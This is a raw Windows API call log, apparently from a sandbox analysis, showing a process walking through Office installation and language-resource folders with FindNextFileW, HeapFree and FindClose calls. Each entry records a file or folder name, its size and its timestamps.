	[0162.355] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2052", cAlternateFileName="")) returned 1
	[0162.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.355] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c40a24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c40a24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2070", cAlternateFileName="")) returned 1
	[0162.355] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.355] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf17ee5c3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf17ee5c3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="2074", cAlternateFileName="")) returned 1
	[0162.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.356] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 1
	[0162.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.356] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 1
	[0162.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0162.356] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67ce4b2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67ce4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67ce4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="9242", cAlternateFileName="")) returned 0
	[0162.356] FindClose (in: hFindFile=0x4140b58 | out: hFindFile=0x4140b58) returned 1
	[0162.356] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.356] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
	[0162.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.358] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
	[0162.360] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.360] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
	[0162.362] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.362] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
	[0162.364] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.364] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5612cee, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5612cee, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5612cee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae38, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0162.367] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.367] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-latn", cAlternateFileName="")) returned 1
	[0162.377] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.377] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0162.379] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.379] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
	[0162.381] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.381] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
	[0162.383] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.383] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
	[0162.385] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.386] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16841bb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f913, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracedefinition110.xml", cAlternateFileName="TRACED~1.XML")) returned 1
	[0162.398] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.398] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
	[0162.664] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.666] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHS", cAlternateFileName="")) returned 1
	[0162.698] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.698] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 1
	[0162.701] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.701] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CHT", cAlternateFileName="")) returned 0
	[0162.701] FindClose (in: hFindFile=0x41402d8 | out: hFindFile=0x41402d8) returned 1
	[0162.701] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0162.701] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x163c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1
	[0162.701] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0162.701] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1b81e2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b680, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AdeModule.dll", cAlternateFileName="ADEMOD~1.DLL")) returned 1
	[0162.702] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0162.702] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 1
	[0162.704] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0162.704] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Style", cAlternateFileName="")) returned 0
	[0162.704] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0162.704] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0162.704] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BORDERS", cAlternateFileName="")) returned 1
	[0162.707] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0162.707] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4cf4318, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf7e60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1
	[0162.708] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0162.708] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c80c48, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c80c48, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca4703d4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ee58, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1
	[0162.710] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0162.710] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6b60d2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6b60d2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6b60d2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x90e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1
	[0162.711] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0162.711] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5bd0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="cpprest140_2_6.dll", cAlternateFileName="CPPRES~1.DLL")) returned 1
	[0162.711] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
	[0162.711] FindNextFileW (in: hFindFile=0x41402d8, lpFindFileData=0x310ee10 | out: lpFindFileData=0x310ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0
	[0162.711] FindClose (in: hFindFile=0x41402d8 | out: hFindFile=0x41402d8) returned 1
	[0162.711] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0162.711] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0162.711] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0162.711] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0162.711] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4d40834, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x17dec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1
	[0162.717] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0162.717] FindNextFileW (in: hFindFile=0x4140158, lpFindFileData=0x310f08c | out: lpFindFileData=0x310f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0162.717] FindClose (in: hFindFile=0x4140158 | out: hFindFile=0x4140158) returned 1
	[0162.717] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41a9008 | out: hHeap=0x5a0000) returned 1
	[0162.717] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x310f308 | out: lpFindFileData=0x310f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x15f450, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1
	[0162.717] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0162.717] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1
	[0162.719] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0162.720] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 1
	[0162.720] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0162.720] FindNextFileW (in: hFindFile=0x41409d8, lpFindFileData=0x310eb94 | out: lpFindFileData=0x310eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 0
	[0162.720] FindClose (in: hFindFile=0x41409d8 | out: hFindFile=0x41409d8) returned 1
	[0162.720] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4261090 | out: hHeap=0x5a0000) returned 1
